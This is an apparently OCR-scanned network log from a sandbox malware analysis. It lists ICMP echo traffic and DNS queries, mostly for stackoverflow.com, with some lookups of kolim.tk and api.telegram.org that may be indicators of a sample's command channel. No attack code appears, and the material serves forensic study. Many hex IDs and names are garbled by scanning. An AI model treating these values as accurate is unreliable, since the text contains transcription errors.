Jun 23, 2022 18:20:05.367805004 CEST 151.101.65.69 192.168.2.3 282e Echo Reply
Jun 23, 2022 18:20:05.393968105 CEST 192.168.2.3 151.101.1.69 202d Echo

Jun 23, 2022 18:20:05.409209967 CEST 151.101.1.69 192.168.2.3 282d Echo Reply
Jun 23, 2022 18:20:05.438625097 CEST 192.168.2.3 151.101.1.69 202c Echo

Jun 23, 2022 18:20:05.453767061 CEST 151.101.1.69 192.168.2.3 282c Echo Reply
Jun 23, 2022 18:20:05.493590117 CEST 192.168.2.3 151.101.1.69 202b Echo

Jun 23, 2022 18:20:05.508824110 CEST 151.101.1.69 192.168.2.3 282b Echo Reply
Jun 23, 2022 18:20:05.534388065 CEST 192.168.2.3 151.101.129.69  202a Echo
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Jun 23, 2022 18:20:05.549875975 CEST 151.101.129.69 192.168.2.3 282a Echo Reply
Jun 23, 2022 18:20:05.595573902 CEST 192.168.2.3 151.101.193.69 2029 Echo

Jun 23, 2022 18:20:05.610889912 CEST 151.101.193.69 192.168.2.3 2829 Echo Reply
Jun 23, 2022 18:20:05.657038927 CEST 192.168.2.3 151.101.193.69 2028 Echo

Jun 23, 2022 18:20:05.672509909 CEST 151.101.193.69 192.168.2.3 2828 Echo Reply
Jun 23, 2022 18:20:05.698501110 CEST 192.168.2.3 151.101.129.69 2027 Echo

Jun 23, 2022 18:20:05.713802099 CEST 151.101.129.69 192.168.2.3 2827 Echo Reply
Jun 23, 2022 18:20:05.744765997 CEST 192.168.2.3 151.101.129.69 2026 Echo

Jun 23, 2022 18:20:05.760030031 CEST 151.101.129.69 192.168.2.3 2826 Echo Reply
Jun 23, 2022 18:20:05.791534901 CEST 192.168.2.3 151.101.129.69 2025 Echo

Jun 23, 2022 18:20:05.806880951 CEST 151.101.129.69 192.168.2.3 2825 Echo Reply
Jun 23, 2022 18:20:05.833689928 CEST 192.168.2.3 151.101.193.69 2024 Echo

Jun 23, 2022 18:20:05.849081993 CEST 151.101.193.69 192.168.2.3 2824 Echo Reply
Jun 23, 2022 18:20:05.879787922 CEST 192.168.2.3 151.101.193.69 2023 Echo

Jun 23, 2022 18:20:05.895170927 CEST 151.101.193.69 192.168.2.3 2823 Echo Reply
Jun 23, 2022 18:20:05.935564041 CEST 192.168.2.3 151.101.193.69 2022 Echo

Jun 23, 2022 18:20:05.950849056 CEST 151.101.193.69 192.168.2.3 2822 Echo Reply
Jun 23, 2022 18:20:05.987590075 CEST 192.168.2.3 151.101.1.69 2021 Echo

Jun 23, 2022 18:20:06.003318071 CEST 151.101.1.69 192.168.2.3 2821 Echo Reply
Jun 23, 2022 18:20:06.030591011 CEST 192.168.2.3 151.101.129.69 2020 Echo

Jun 23, 2022 18:20:06.045881033 CEST 151.101.129.69 192.168.2.3 2820 Echo Reply
Jun 23, 2022 18:20:06.073836088 CEST 192.168.2.3 151.101.193.69  201f Echo

Jun 23, 2022 18:20:06.089993954 CEST 151.101.193.69 192.168.2.3 281f Echo Reply
Jun 23, 2022 18:20:06.135847092 CEST 192.168.2.3 151.101.129.69 201le Echo

Jun 23, 2022 18:20:06.151993990 CEST 151.101.129.69 192.168.2.3 28le Echo Reply
Jun 23, 2022 18:20:06.192282915 CEST 192.168.2.3 151.101.129.69  201d Echo

Jun 23, 2022 18:20:06.208600044 CEST 151.101.129.69 192.168.2.3 281d Echo Reply
Jun 23, 2022 18:20:06.236895084 CEST 192.168.2.3 151.101.1.69 201c Echo

Jun 23, 2022 18:20:06.251986980 CEST 151.101.1.69 192.168.2.3 281c Echo Reply
Jun 23, 2022 18:20:06.285203934 CEST 192.168.2.3 151.101.129.69  201b Echo

Jun 23, 2022 18:20:06.300494909 CEST 151.101.129.69  192.168.2.3 281b Echo Reply
Jun 23, 2022 18:20:06.349843025 CEST 192.168.2.3 151.101.193.69 20la Echo

Jun 23, 2022 18:20:06.365080118 CEST 151.101.193.69  192.168.2.3 28la Echo Reply
Jun 23, 2022 18:20:06.404647112 CEST 192.168.2.3 151.101.1.69 2019 Echo

Jun 23, 2022 18:20:06.419828892 CEST 151.101.1.69 192.168.2.3 2819 Echo Reply
Jun 23, 2022 18:20:06.456423998 CEST 192.168.2.3 151.101.193.69 2018 Echo

Jun 23, 2022 18:20:06.471993923 CEST 151.101.193.69  192.168.2.3 2818 Echo Reply
Jun 23, 2022 18:20:06.499013901 CEST 192.168.2.3 151.101.193.69 2017 Echo

Jun 23, 2022 18:20:06.514142036 CEST 151.101.193.69  192.168.2.3 2817 Echo Reply
Jun 23, 2022 18:20:06.539360046 CEST 192.168.2.3 151.101.129.69 2016 Echo

Jun 23, 2022 18:20:06.554794073 CEST 151.101.129.69  192.168.2.3 2816 Echo Reply
Jun 23, 2022 18:20:12.042646885 CEST 192.168.2.3 151.101.193.69 d3 Echo

Jun 23, 2022 18:20:12.042701006 CEST 192.168.2.1 192.168.2.3 faff (Time to live Time Exceeded

exceeded in
transit)

Jun 23, 2022 18:20:12.073489904 CEST 192.168.2.3 151.101.129.69  d2 Echo

Jun 23, 2022 18:20:12.135574102 CEST 192.168.2.3 151.101.193.69 d1 Echo

Jun 23, 2022 18:20:12.205265045 CEST 192.168.2.3 151.101.129.69  dO Echo

Jun 23, 2022 18:20:12.243221998 CEST 192.168.2.3 151.101.193.69  cf Echo

Jun 23, 2022 18:20:12.287995100 CEST 192.168.2.3 151.101.193.69 ce Echo

Jun 23, 2022 18:20:12.362844944 CEST 192.168.2.3 151.101.1.69 cd Echo

Jun 23, 2022 18:20:12.406771898 CEST 192.168.2.3 151.101.65.69 cc Echo

Jun 23, 2022 18:20:12.493881941 CEST 192.168.2.3 151.101.1.69 cb Echo

Jun 23, 2022 18:20:12.509027958 CEST 151.101.1.69 192.168.2.3 8ch Echo Reply
Jun 23, 2022 18:20:12.535187006 CEST 192.168.2.3 151.101.129.69 ca Echo

Jun 23, 2022 18:20:12.550594091 CEST 151.101.129.69  192.168.2.3 8ca Echo Reply
Jun 23, 2022 18:20:12.595686913 CEST 192.168.2.3 151.101.193.69  c9 Echo

Jun 23, 2022 18:20:12.611975908 CEST 151.101.193.69  192.168.2.3 8c9 Echo Reply
Jun 23, 2022 18:20:12.663088083 CEST 192.168.2.3 151.101.65.69 c8 Echo

Jun 23, 2022 18:20:12.678488970 CEST 151.101.65.69 192.168.2.3 8c8 Echo Reply
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Jun 23, 2022 18:20:12.724092960 CEST 192.168.2.3 151.101.129.69 c7 Echo
Jun 23, 2022 18:20:12.739583015 CEST 151.101.129.69  192.168.2.3 8c7 Echo Reply
Jun 23, 2022 18:20:12.801034927 CEST 192.168.2.3 151.101.193.69 c6 Echo
Jun 23, 2022 18:20:12.816406965 CEST 151.101.193.69  192.168.2.3 8c6 Echo Reply
Jun 23, 2022 18:20:12.853920937 CEST 192.168.2.3 151.101.193.69 c5 Echo
Jun 23, 2022 18:20:12.869184017 CEST 151.101.193.69  192.168.2.3 8c5 Echo Reply
Jun 23, 2022 18:20:12.898117065 CEST 192.168.2.3 151.101.1.69 c4 Echo
Jun 23, 2022 18:20:12.913184881 CEST 151.101.1.69 192.168.2.3 8c4 Echo Reply
Jun 23, 2022 18:20:12.946736097 CEST 192.168.2.3 151.101.193.69 c3 Echo
Jun 23, 2022 18:20:12.962075949 CEST 151.101.193.69  192.168.2.3 8c3 Echo Reply
Jun 23, 2022 18:20:13.025047064 CEST 192.168.2.3 151.101.193.69 c2 Echo
Jun 23, 2022 18:20:13.040245056 CEST 151.101.193.69  192.168.2.3 8c2 Echo Reply
Jun 23, 2022 18:20:13.067542076 CEST 192.168.2.3 151.101.129.69 cl Echo
Jun 23, 2022 18:20:13.082962036 CEST 151.101.129.69  192.168.2.3 8cl Echo Reply
Jun 23, 2022 18:20:13.133055925 CEST 192.168.2.3 151.101.193.69 cO Echo
Jun 23, 2022 18:20:13.148282051 CEST 151.101.193.69  192.168.2.3 8c0 Echo Reply
Jun 23, 2022 18:20:13.180408955 CEST 192.168.2.3 151.101.193.69  bf Echo
Jun 23, 2022 18:20:13.195750952 CEST 151.101.193.69  192.168.2.3 8bf Echo Reply
Jun 23, 2022 18:20:13.248758078 CEST 192.168.2.3 151.101.193.69  be Echo
Jun 23, 2022 18:20:13.263951063 CEST 151.101.193.69  192.168.2.3 8be Echo Reply
Jun 23, 2022 18:20:13.329610109 CEST 192.168.2.3 151.101.193.69  bd Echo
Jun 23, 2022 18:20:13.345134974 CEST 151.101.193.69  192.168.2.3 8bd Echo Reply
Jun 23, 2022 18:20:13.376004934 CEST 192.168.2.3 151.101.1.69 bc Echo
Jun 23, 2022 18:20:13.391352892 CEST 151.101.1.69 192.168.2.3 8bc Echo Reply
Jun 23, 2022 18:20:13.428128004 CEST 192.168.2.3 151.101.1.69 bb Echo
Jun 23, 2022 18:20:13.443289042 CEST 151.101.1.69 192.168.2.3 8bb Echo Reply
Jun 23, 2022 18:20:13.485321999 CEST 192.168.2.3 151.101.193.69 ba Echo
Jun 23, 2022 18:20:13.500674009 CEST 151.101.193.69  192.168.2.3 8ba Echo Reply
Jun 23, 2022 18:20:13.552289009 CEST 192.168.2.3 151.101.129.69 b9 Echo
Jun 23, 2022 18:20:13.567789078 CEST 151.101.129.69  192.168.2.3 8b9 Echo Reply
Jun 23, 2022 18:20:13.592308998 CEST 192.168.2.3 151.101.129.69 b8 Echo
Jun 23, 2022 18:20:13.607712030 CEST 151.101.129.69  192.168.2.3 8b8 Echo Reply
Jun 23, 2022 18:20:13.642388105 CEST 192.168.2.3 151.101.193.69 b7 Echo
Jun 23, 2022 18:20:13.657702923 CEST 151.101.193.69  192.168.2.3 8b7 Echo Reply
Jun 23, 2022 18:20:13.685662985 CEST 192.168.2.3 151.101.1.69 b6 Echo
Jun 23, 2022 18:20:13.700838089 CEST 151.101.1.69 192.168.2.3 8b6 Echo Reply
Jun 23, 2022 18:20:13.753531933 CEST 192.168.2.3 151.101.193.69 b5 Echo
Jun 23, 2022 18:20:13.768759966 CEST 151.101.193.69  192.168.2.3 8b5 Echo Reply
Jun 23, 2022 18:20:13.794457912 CEST 192.168.2.3 151.101.129.69 b4 Echo
Jun 23, 2022 18:20:13.809864998 CEST 151.101.129.69  192.168.2.3 8b4 Echo Reply
Jun 23, 2022 18:20:13.862715960 CEST 192.168.2.3 151.101.129.69 b3 Echo
Jun 23, 2022 18:20:13.878433943 CEST 151.101.129.69  192.168.2.3 8b3 Echo Reply
Jun 23, 2022 18:20:13.903609991 CEST 192.168.2.3 151.101.65.69 b2 Echo
Jun 23, 2022 18:20:13.918977022 CEST 151.101.65.69 192.168.2.3 8b2 Echo Reply
Jun 23, 2022 18:20:13.957412004 CEST 192.168.2.3 151.101.1.69 bl Echo
Jun 23, 2022 18:20:13.972565889 CEST 151.101.1.69 192.168.2.3 8bl Echo Reply
Jun 23, 2022 18:20:14.005572081 CEST 192.168.2.3 151.101.193.69 b0 Echo
Jun 23, 2022 18:20:14.020945072 CEST 151.101.193.69  192.168.2.3 8b0 Echo Reply
Jun 23, 2022 18:20:14.051589966 CEST 192.168.2.3 151.101.129.69  af Echo
Jun 23, 2022 18:20:14.066998005 CEST 151.101.129.69  192.168.2.3 8af Echo Reply
Jun 23, 2022 18:20:14.096651077 CEST 192.168.2.3 151.101.193.69 ae Echo
Jun 23, 2022 18:20:14.111884117 CEST 151.101.193.69  192.168.2.3 8ae Echo Reply
Jun 23, 2022 18:20:14.147667885 CEST 192.168.2.3 151.101.1.69 ad Echo
Jun 23, 2022 18:20:14.162817955 CEST 151.101.1.69 192.168.2.3 8ad Echo Reply
Jun 23, 2022 18:20:14.199223995 CEST 192.168.2.3 151.101.193.69 ac Echo
Jun 23, 2022 18:20:14.214602947 CEST 151.101.193.69  192.168.2.3 8ac Echo Reply
Jun 23, 2022 18:20:14.251971006 CEST 192.168.2.3 151.101.65.69 ab Echo
Jun 23, 2022 18:20:14.267441034 CEST 151.101.65.69 192.168.2.3 8ab Echo Reply
Jun 23, 2022 18:20:14.294342995 CEST 192.168.2.3 151.101.193.69 aa Echo
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Jun 23, 2022 18:20:14.309566975 CEST 151.101.193.69  192.168.2.3 8aa Echo Reply

Jun 23, 2022 18:20:14.352914095 CEST 192.168.2.3 151.101.1.69 a9 Echo

Jun 23, 2022 18:20:14.368161917 CEST 151.101.1.69 192.168.2.3 8a9 Echo Reply

Jun 23, 2022 18:20:14.395049095 CEST 192.168.2.3 151.101.129.69 a8 Echo

Jun 23, 2022 18:20:14.410589933 CEST 151.101.129.69  192.168.2.3 8as8 Echo Reply

Jun 23, 2022 18:20:14.458000898 CEST 192.168.2.3 151.101.1.69 a7 Echo

Jun 23, 2022 18:20:14.473287106 CEST 151.101.1.69 192.168.2.3 8a7 Echo Reply

Jun 23, 2022 18:20:14.518042088 CEST 192.168.2.3 151.101.1.69 ab Echo

Jun 23, 2022 18:20:14.533397913 CEST 151.101.1.69 192.168.2.3 8a6 Echo Reply

Jun 23, 2022 18:20:14.558937073 CEST 192.168.2.3 151.101.1.69 ab Echo

Jun 23, 2022 18:20:14.575284004 CEST 151.101.1.69 192.168.2.3 8a5 Echo Reply

Jun 23, 2022 18:20:14.611088037 CEST 192.168.2.3 151.101.1.69 a4 Echo

Jun 23, 2022 18:20:14.626410961 CEST 151.101.1.69 192.168.2.3 8a4 Echo Reply

Jun 23, 2022 18:20:14.652447939 CEST 192.168.2.3 151.101.193.69 a3 Echo

Jun 23, 2022 18:20:14.667783976 CEST 151.101.193.69  192.168.2.3 8a3 Echo Reply

Jun 23, 2022 18:20:14.705658913 CEST 192.168.2.3 151.101.193.69 a2 Echo

Jun 23, 2022 18:20:14.720964909 CEST 151.101.193.69  192.168.2.3 8a2 Echo Reply

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jun 23, 2022 18:19:20.780888081 CEST 192.168.2.3 8.8.8.8 0Oxd4d4 Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:19:20.813405991 CEST 192.168.2.3 8.8.8.8 0x63f4 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:20.883912086 CEST 192.168.2.3 8.8.8.8 Oxdel5 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:20.919594049 CEST 192.168.2.3 8.8.8.8 0xd692 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:20.969707966 CEST 192.168.2.3 8.8.8.8 0x193e Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:19:21.006577015 CEST 192.168.2.3 8.8.8.8 Oxc4c3 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:21.042736053 CEST 192.168.2.3 8.8.8.8 0x2a27 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:21.096869946 CEST 192.168.2.3 8.8.8.8 0x287e Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:19:21.138278008 CEST 192.168.2.3 8.8.8.8 Oxdaa5 Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:19:21.192960024 CEST 192.168.2.3 8.8.8.8 0x4e31 Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:19:21.232835054 CEST 192.168.2.3 8.8.8.8 0x9e0 Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:19:21.272372007 CEST 192.168.2.3 8.8.8.8 Oxee37 Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:19:21.316826105 CEST 192.168.2.3 8.8.8.8 0xd76d Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:21.363579988 CEST 192.168.2.3 8.8.8.8 0xf56b Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:21.413724899 CEST 192.168.2.3 8.8.8.8 0xa028 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:21.456563950 CEST 192.168.2.3 8.8.8.8 0x8c8 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:21.501168013 CEST 192.168.2.3 8.8.8.8 0x5062 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:21.544641018 CEST 192.168.2.3 8.8.8.8 Ox6a7c Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:21.611284018 CEST 192.168.2.3 8.8.8.8 0x1fc3 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:21.652359009 CEST 192.168.2.3 8.8.8.8 0x910 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:21.691082954 CEST 192.168.2.3 8.8.8.8 0x633 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:21.740415096 CEST 192.168.2.3 8.8.8.8 0x39c4 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:21.780792952 CEST 192.168.2.3 8.8.8.8 0x4394 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com
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Jun 23, 2022 18:19:21.833345890 CEST 192.168.2.3 8.8.8.8 0xdd56 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:21.873550892 CEST 192.168.2.3 8.8.8.8 0x7e07 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:21.917335033 CEST 192.168.2.3 8.8.8.8 0x705b Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:21.960781097 CEST 192.168.2.3 8.8.8.8 0xbb19 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:22.017698050 CEST 192.168.2.3 8.8.8.8 0x6¢05 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:22.070664883 CEST 192.168.2.3 8.8.8.8 Oxced3 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:22.109083891 CEST 192.168.2.3 8.8.8.8 0x6f7a Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:22.163299084 CEST 192.168.2.3 8.8.8.8 0x206e Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:22.204044104 CEST 192.168.2.3 8.8.8.8 0x760b Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:22.245461941 CEST 192.168.2.3 8.8.8.8 0x768f Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:22.292440891 CEST 192.168.2.3 8.8.8.8 0x7edc Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:22.330513000 CEST 192.168.2.3 8.8.8.8 0x8673 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:22.401386023 CEST 192.168.2.3 8.8.8.8 0x249 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:22.441947937 CEST 192.168.2.3 8.8.8.8 Oxfabc Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:19:22.482568979 CEST 192.168.2.3 8.8.8.8 Oxae9b Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:22.524952888 CEST 192.168.2.3 8.8.8.8 Oxcef7 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:22.647439003 CEST 192.168.2.3 8.8.8.8 0x88bc Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:22.687741041 CEST 192.168.2.3 8.8.8.8 0xa956 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:22.746170044 CEST 192.168.2.3 8.8.8.8 0xb545 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:22.785033941 CEST 192.168.2.3 8.8.8.8 0x6617 Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:19:22.840729952 CEST 192.168.2.3 8.8.8.8 0xfO3f Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:19:22.881638050 CEST 192.168.2.3 8.8.8.8 0x31c6 Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:19:22.954535007 CEST 192.168.2.3 8.8.8.8 0x62e9 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:23.007282972 CEST 192.168.2.3 8.8.8.8 0x42e3 Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:19:23.056612968 CEST 192.168.2.3 8.8.8.8 Oxeel5 Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:19:23.098038912 CEST 192.168.2.3 8.8.8.8 0x55d2 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:23.138271093 CEST 192.168.2.3 8.8.8.8 0x678f Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:19:23.404344082 CEST 192.168.2.3 8.8.8.8 0x654c Standard query  kolim.tk A (IP address) IN (0x0001)
0

Jun 23, 2022 18:20:03.800705910 CEST 192.168.2.3 8.8.8.8 0x7987 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:03.838795900 CEST 192.168.2.3 8.8.8.8 0x79al Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:03.931804895 CEST 192.168.2.3 8.8.8.8 Ox4baf Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:03.972372055 CEST 192.168.2.3 8.8.8.8 Oxdea Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:04.019206047 CEST 192.168.2.3 8.8.8.8 0xd625 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:04.106179953 CEST 192.168.2.3 8.8.8.8 0x5387 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:04.154501915 CEST 192.168.2.3 8.8.8.8 0xf489 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com
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Jun 23, 2022 18:20:04.196732044 CEST 192.168.2.3 8.8.8.8 Oxaaf6 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:04.245841026 CEST 192.168.2.3 8.8.8.8 0x84cd Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:04.287924051 CEST 192.168.2.3 8.8.8.8 0x2bba Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:04.344188929 CEST 192.168.2.3 8.8.8.8 0x722b Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:04.391912937 CEST 192.168.2.3 8.8.8.8 Oxl1adf Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:04.458293915 CEST 192.168.2.3 8.8.8.8 0x62f0 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:04.499547005 CEST 192.168.2.3 8.8.8.8 Oxffbe Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:04.567878962 CEST 192.168.2.3 8.8.8.8 0x945c Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:04.614161015 CEST 192.168.2.3 8.8.8.8 0x2590 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:04.760605097 CEST 192.168.2.3 8.8.8.8 Ox1lc4 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:04.905823946 CEST 192.168.2.3 8.8.8.8 0x7622 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:04.956257105 CEST 192.168.2.3 8.8.8.8 0xd760 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:05.033109903 CEST 192.168.2.3 8.8.8.8 0x8b34 Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:20:05.094192028 CEST 192.168.2.3 8.8.8.8 0x6b91 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:05.137207985 CEST 192.168.2.3 8.8.8.8 0x99c8 Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:20:05.179625034 CEST 192.168.2.3 8.8.8.8 0x3898 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:05.230669022 CEST 192.168.2.3 8.8.8.8 0x470e Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:05.290739059 CEST 192.168.2.3 8.8.8.8 0x805b Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:20:05.332176924 CEST 192.168.2.3 8.8.8.8 0x7c4c Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:05.373888016 CEST 192.168.2.3 8.8.8.8 0xcf89 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:05.416383028 CEST 192.168.2.3 8.8.8.8 0x95ec Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:20:05.472018957 CEST 192.168.2.3 8.8.8.8 0x7ce7 Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:20:05.515836000 CEST 192.168.2.3 8.8.8.8 0x2102 Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:20:05.572774887 CEST 192.168.2.3 8.8.8.8 0xd9e8 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:05.633249044 CEST 192.168.2.3 8.8.8.8 0x74e5 Standard query  stackoverf A (IP address) IN (0x0001)
0) low.com

Jun 23, 2022 18:20:05.677494049 CEST 192.168.2.3 8.8.8.8 0x6be4 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:05.724724054 CEST 192.168.2.3 8.8.8.8 Oxfcbd Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:05.771704912 CEST 192.168.2.3 8.8.8.8 0x6dd Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:05.812845945 CEST 192.168.2.3 8.8.8.8 Oxd7e2 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:05.860054016 CEST 192.168.2.3 8.8.8.8 0x1a99 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:05.916980982 CEST 192.168.2.3 8.8.8.8 0xb9d3 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:05.961823940 CEST 192.168.2.3 8.8.8.8 0x9981 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:06.010090113 CEST 192.168.2.3 8.8.8.8 0x2e72 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:06.050787926 CEST 192.168.2.3 8.8.8.8 0xe9bc Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:06.114329100 CEST 192.168.2.3 8.8.8.8 Oxd5da Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com
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Jun 23, 2022 18:20:06.156857967 CEST 192.168.2.3 8.8.8.8 Oxcd6f Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:06.215336084 CEST 192.168.2.3 8.8.8.8 Oxccfd Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:06.264447927 CEST 192.168.2.3 8.8.8.8 0xdf3b Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:06.308072090 CEST 192.168.2.3 8.8.8.8 0x8044 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:06.378506899 CEST 192.168.2.3 8.8.8.8 0x70fa Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:06.438867092 CEST 192.168.2.3 8.8.8.8 0x76e4 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:06.478792906 CEST 192.168.2.3 8.8.8.8 Oxed2e Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:06.498186111 CEST 192.168.2.3 8.8.8.8 0xc6b0 Standard query  api.telegram.org A (IP address) IN (0x0001)
(0

Jun 23, 2022 18:20:06.519499063 CEST 192.168.2.3 8.8.8.8 0x5e7f Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

Jun 23, 2022 18:20:07.034771919 CEST 192.168.2.3 8.8.8.8 0x2298 Standard query  kolim.tk A (IP address) IN (0x0001)
(0

Jun 23, 2022 18:20:12.018373966 CEST 192.168.2.3 8.8.8.8 0xb605 Standard query  stackoverf A (IP address) IN (0x0001)
(0) low.com

